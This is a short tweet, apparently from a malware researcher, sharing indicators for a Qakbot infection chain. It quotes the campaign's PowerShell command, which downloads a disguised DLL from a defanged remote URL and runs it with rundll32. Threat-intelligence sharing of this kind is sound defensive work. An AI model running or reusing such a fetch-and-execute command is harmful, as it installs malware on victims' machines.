proxylife on Twitter: "#Qakbot - AA - url > .zip > .lnk > .ps > .dll powershell.exe Invoke-WebRequest hxxps://penofpurpose.com/7FSBEwva7VvZ/y.png -OutFile c:\file140.dll;Start-Process rundll32 c:\file140.dll,DllInstall https://t.co/JyocB7ljRs IOC's https://t.co/zpuFMjgbEv https://t.co/G6ScRvwyxG" / Twitter
https://twitter.com/pr0xylife/status/1524771398975213568